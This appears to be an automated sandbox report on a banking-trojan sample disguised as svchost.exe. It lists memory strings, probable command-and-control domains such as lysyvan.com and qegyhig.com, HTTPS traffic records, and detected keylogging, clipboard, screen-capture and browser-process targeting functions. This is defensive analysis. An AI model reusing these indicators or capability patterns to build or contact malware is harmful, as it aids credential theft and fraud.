Source: svchost.exe, 0000000E.00000003.2433705035.0000017E5C363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3271653559.0000017E5BA61000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2425829418.0000017E5C352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2424665623.0000017E5C329000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80606
Source: svchost.exe, 0000000E.00000003.2433705035.0000017E5C363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3271653559.0000017E5BA61000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2425829418.0000017E5C352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2424665623.0000017E5C329000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80607
Source: svchost.exe, 0000000E.00000003.2433705035.0000017E5C363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3271653559.0000017E5BA61000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2425829418.0000017E5C352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433649128.0000017E5C357000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2424665623.0000017E5C329000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80608
Source: svchost.exe, 0000000E.00000003.2425829418.0000017E5C352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2424665623.0000017E5C329000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&amp;fid=cp
Source: svchost.exe, 0000000E.00000002.3271567512.0000017E5BA46000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2424665623.0000017E5C32C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2425320529.0000017E5C35A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&fid=cp
Source: svchost.exe, 0000000E.00000003.2433705035.0000017E5C363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3271653559.0000017E5BA61000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2425829418.0000017E5C352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2424665623.0000017E5C329000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80605
Source: svchost.exe, 0000000E.00000002.3271653559.0000017E5BA61000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433615835.0000017E5C33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433675117.0000017E5C340000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/ResolveUser.srf
Source: svchost.exe, 0000000E.00000003.2433705035.0000017E5C363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3271653559.0000017E5BA61000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433615835.0000017E5C33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433675117.0000017E5C340000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/SHA1Auth.srf
Source: svchost.exe, 0000000E.00000002.3271761277.0000017E5BA89000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/SHA1Auth.srf~
Source: svchost.exe, 0000000E.00000003.2425245779.0000017E5C310000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/deviceaddcredential.srf
Source: svchost.exe, 0000000E.00000002.3271430200.0000017E5BA2B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/deviceaddcredential.srfl
Source: svchost.exe, 0000000E.00000002.3271567512.0000017E5BA46000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2570505708.0000017E5C33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433615835.0000017E5C33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433675117.0000017E5C340000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/devicechangecredential.srf
Source: svchost.exe, 0000000E.00000003.2433705035.0000017E5C363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3271567512.0000017E5BA46000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433615835.0000017E5C33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433675117.0000017E5C340000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/deviceremovecredential.srf
Source: svchost.exe, 0000000E.00000002.3271567512.0000017E5BA46000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433615835.0000017E5C33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433675117.0000017E5C340000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/resetpw.srf
Source: svchost.exe, 0000000E.00000002.3272924032.0000017E5C337000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3271567512.0000017E5BA46000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2570505708.0000017E5C33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433615835.0000017E5C33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433675117.0000017E5C340000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/retention.srf
Source: svchost.exe, 0000000E.00000002.3272292196.0000017E5BAE3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com:443/RST2.srf
Source: svchost.exe, 0000000E.00000002.3273747258.0000017E5CA81000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com:443/RST2.srfityCRL
Source: svchost.exe, 0000000E.00000003.2433705035.0000017E5C363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433615835.0000017E5C33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433675117.0000017E5C340000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/MSARST2.srf
Source: svchost.exe, 0000000E.00000002.3271653559.0000017E5BA61000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/MSARST2.srf~
Source: svchost.exe, 0000000E.00000003.2433705035.0000017E5C363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3271567512.0000017E5BA46000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433615835.0000017E5C33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433675117.0000017E5C340000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceAssociate.srf
Source: svchost.exe, 0000000E.00000002.3271567512.0000017E5BA46000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceDisassociate.srf
Source: svchost.exe, 0000000E.00000003.2425245779.0000017E5C310000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceDisassociate.srf:CLSID
Source: svchost.exe, 0000000E.00000003.2433705035.0000017E5C363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433615835.0000017E5C33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433675117.0000017E5C340000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceQuery.srf
Source: svchost.exe, 0000000E.00000002.3271567512.0000017E5BA46000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceQuery.srfsuer
Source: svchost.exe, 0000000E.00000003.2433705035.0000017E5C363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3271567512.0000017E5BA46000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433615835.0000017E5C33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433675117.0000017E5C340000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceUpdate.srf
Source: svchost.exe, 0000000E.00000003.2433705035.0000017E5C363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.3271567512.0000017E5BA46000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433615835.0000017E5C33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433675117.0000017E5C340000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/EnumerateDevices.srf
Source: svchost.exe, 0000000E.00000003.2433705035.0000017E5C363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433615835.0000017E5C33B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2433675117.0000017E5C340000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/ResolveUser.srf
Source: svchost.exe, 0000000E.00000002.3271567512.0000017E5BA46000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/ResolveUser.srfsuer
Source: svchost.exe, 0000000E.00000002.3271567512.0000017E5BA46000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2425245779.0000017E5C310000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/deviceaddmsacredential.srf
Source: svchost.exe, 0000000E.00000002.3271567512.0000017E5BA46000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/devicechangecredential.srf
Source: svchost.exe, 0000000E.00000003.2438660213.0000017E5C327000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/devicechangecredential.srfMM
Source: svchost.exe, 0000000E.00000002.3271567512.0000017E5BA46000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2425245779.0000017E5C310000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/deviceremovecredential.srf
Source: svchost.exe, 0000000E.00000003.2425245779.0000017E5C310000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/deviceremovecredential.srfRE
Source: svchost.exe, 00000002.00000002.3273079170.0000000002B8D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3188535338.00000000008AA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://lysyvan.com/
Source: svchost.exe, 00000002.00000003.3004653481.0000000002B9C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://lysyvan.com/login.php
Source: svchost.exe, 00000002.00000003.2655234712.000000000085F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://lysyvan.com/wp-json/
Source: svchost.exe, 00000002.00000002.3273031820.0000000002B77000.00000004.00000020.00020000.00000000.sdmp, login[2].htm0.2.dr, login[3].htm.2.dr, login[2].htm.2.drString found in binary or memory: https://nojs.domaincntrol.com
Source: svchost.exe, 00000002.00000003.2890817974.000000000086B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2192051912.0000000002B26000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://qegyhig.com/
Source: svchost.exe, 00000002.00000003.2192051912.0000000002B26000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://qegyhig.com/login.php
Source: svchost.exe, 00000002.00000003.2921485495.00000000008A8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://qegyhig.com/login.php8.162.203.202;178.162.203.211;178.162.203.226;178.162.217.107;5.79.71.2
Source: svchost.exe, 00000002.00000003.2921485495.00000000008A8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://qegyhig.com/login.phpbodis.com;::ffff:199.59.243.226;
Source: svchost.exe, 00000002.00000003.2853239843.0000000002B26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3272635102.0000000002B26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3004322075.0000000002B26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3188355967.0000000002B26000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2192051912.0000000002B26000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://qegyhig.com/m/
Source: svchost.exe, 00000002.00000003.2921538200.0000000002BA7000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://qegyhig.com/wp-json/
Source: svchost.exe, 0000000E.00000003.2433675117.0000017E5C340000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://signup.live.com/signup.aspx
Source: svchost.exe, 00000002.00000003.3004421327.0000000002BAF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2921538200.0000000002BAF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2905676121.0000000002BAF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.google.com
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49721
Source: unknownNetwork traffic detected: HTTP traffic on port 59543 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50846
Source: unknownNetwork traffic detected: HTTP traffic on port 59539 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50848
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 59539
Source: unknownNetwork traffic detected: HTTP traffic on port 49721 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 59543
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 60696
Source: unknownNetwork traffic detected: HTTP traffic on port 49723 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 60696 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 50846 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49737
Source: unknownNetwork traffic detected: HTTP traffic on port 50848 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49737 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49723
Source: unknownHTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49721 version: TLS 1.2
Source: unknownHTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49723 version: TLS 1.2
Source: unknownHTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49737 version: TLS 1.2
Source: unknownHTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:59539 version: TLS 1.2
Source: unknownHTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:59543 version: TLS 1.2
Source: unknownHTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50846 version: TLS 1.2
Source: unknownHTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50848 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

barindex
Contains functionality to capture and log keystrokes
Source: C:\Windows\apppatch\svchost.exeCode function: [tab]2_2_02D12B50
Source: C:\Windows\apppatch\svchost.exeCode function: [del]2_2_02D12B50
Source: C:\Windows\apppatch\svchost.exeCode function: [del]2_2_02D12B50
Source: C:\Windows\apppatch\svchost.exeCode function: [ins]2_2_02D12B50
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02D092D0 GlobalAlloc,GlobalLock,MultiByteToWideChar,GlobalUnlock,OpenClipboard,GlobalFree,EmptyClipboard,SetClipboardData,CloseClipboard,2_2_02D092D0
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02D092D0 GlobalAlloc,GlobalLock,MultiByteToWideChar,GlobalUnlock,OpenClipboard,GlobalFree,EmptyClipboard,SetClipboardData,CloseClipboard,2_2_02D092D0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 4_2_012E92D0 GlobalAlloc,GlobalLock,MultiByteToWideChar,GlobalUnlock,OpenClipboard,GlobalFree,EmptyClipboard,SetClipboardData,CloseClipboard,4_2_012E92D0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 5_2_00E392D0 GlobalAlloc,GlobalLock,MultiByteToWideChar,GlobalUnlock,OpenClipboard,GlobalFree,EmptyClipboard,SetClipboardData,CloseClipboard,5_2_00E392D0
Source: C:\Program Files (x86)\RRkmQdZEHnQlzttcpVxlPLWGvqRptcHZnvnzFoJsQWyilrmXPqSEaWsDHJK\oOzTQCDSVNrWDmuGqzFbKRbZs.exeCode function: 8_2_00E792D0 GlobalAlloc,GlobalLock,MultiByteToWideChar,GlobalUnlock,OpenClipboard,GlobalFree,EmptyClipboard,SetClipboardData,CloseClipboard,8_2_00E792D0
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02D250E0 GetDesktopWindow,GetWindowDC,_snprintf,CreateCompatibleDC,Sleep,GetDeviceCaps,GetDeviceCaps,GetDeviceCaps,CreateDIBSection,SelectObject,BitBlt,GetDesktopWindow,GetDC,GetProcessHeap,HeapAlloc,memset,GetDIBits,GetDIBits,ReleaseDC,2_2_02D250E0
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02D12B50 memset,GetProcessHeap,HeapAlloc,memset,GetProcessHeap,HeapValidate,GetProcessHeap,HeapReAlloc,GetKeyboardState,ToAscii,2_2_02D12B50

E-Banking Fraud

barindex
Checks if browser processes are running
Source: C:\Windows\apppatch\svchost.exeCode function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex2_2_02D17300
Source: C:\Windows\apppatch\svchost.exeCode function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex2_2_02D17300
Source: C:\Windows\apppatch\svchost.exeCode function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex2_2_02D17300
Source: C:\Windows\apppatch\svchost.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,IsUserAnAdmin,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,InitializeCriticalSection,CreateThread,GetHandleInformation,FindCloseChangeNotification,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,IsUserAnAdmin,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \chrome.exe2_2_02D167D0
Source: C:\Windows\apppatch\svchost.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,IsUserAnAdmin,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,InitializeCriticalSection,CreateThread,GetHandleInformation,FindCloseChangeNotification,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,IsUserAnAdmin,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \iexplore.exe2_2_02D167D0
Source: C:\Windows\apppatch\svchost.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,IsUserAnAdmin,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,InitializeCriticalSection,CreateThread,GetHandleInformation,FindCloseChangeNotification,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,IsUserAnAdmin,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \firefox.exe2_2_02D167D0
Source: C:\Windows\apppatch\svchost.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,IsUserAnAdmin,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,InitializeCriticalSection,CreateThread,GetHandleInformation,FindCloseChangeNotification,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,IsUserAnAdmin,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \tbb-firefox.exe2_2_02D167D0
